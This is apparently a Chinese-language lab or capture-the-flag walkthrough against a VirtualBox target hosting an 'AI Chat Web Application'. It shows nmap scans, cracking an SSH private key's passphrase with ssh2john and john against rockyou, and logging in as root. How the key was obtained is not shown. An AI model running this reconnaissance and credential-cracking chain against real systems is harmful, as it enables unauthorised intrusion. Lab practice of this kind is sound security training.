┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-28 15:04 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00077s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00098s latency). MAC Address: 08:00:27:CF:79:5A (Oracle VirtualBox virtual NIC) Nmap scan report for cu6l.dsz (192.168.2.76) Host is up (0.0014s latency). MAC Address: 08:00:27:AE:60:51 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 8.49 seconds
靶机IP:192.168.2.76
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.76 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-28 15:05 +0800 Nmap scan report for cu6l.dsz (192.168.2.76) Host is up (0.00093s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:AE:60:51 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 34.73 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.76 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-28 15:06 +0800 Nmap scan report for cu6l.dsz (192.168.2.76) Host is up (0.00081s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: AI Chat Web Application MAC Address: 08:00:27:AE:60:51 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.76 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-28 15:07 +0800 Nmap scan report for cu6l.dsz (192.168.2.76) Host is up (0.0013s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:AE:60:51 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 108.23 seconds
┌──(root㉿kali)-[~/miaosec] └─# ssh -i id root@192.168.2.76 root@192.168.2.76's password:
使用john进行破解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kali)-[~/miaosec] └─# ssh2john id >id.hash
┌──(root㉿kali)-[~/miaosec] └─# john --wordlist=/usr/share/wordlists/rockyou.txt id.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status superman (id) 1g 0:00:00:02 DONE (2026-02-28 16:35) 0.4739g/s 30.33p/s 30.33c/s 30.33C/s 123456..charlie Use the "--show" option to display all of the cracked passwords reliably Session completed.
找到密码为:superman
成功获取到root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root㉿kali)-[~/miaosec] └─# ssh -i id root@192.168.2.76 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Enter passphrase for key 'id': Linux cu6l 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Feb 26 04:44:06 2026 -bash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8) root@cu6l:~# id uid=0(root) gid=0(root) groups=0(root)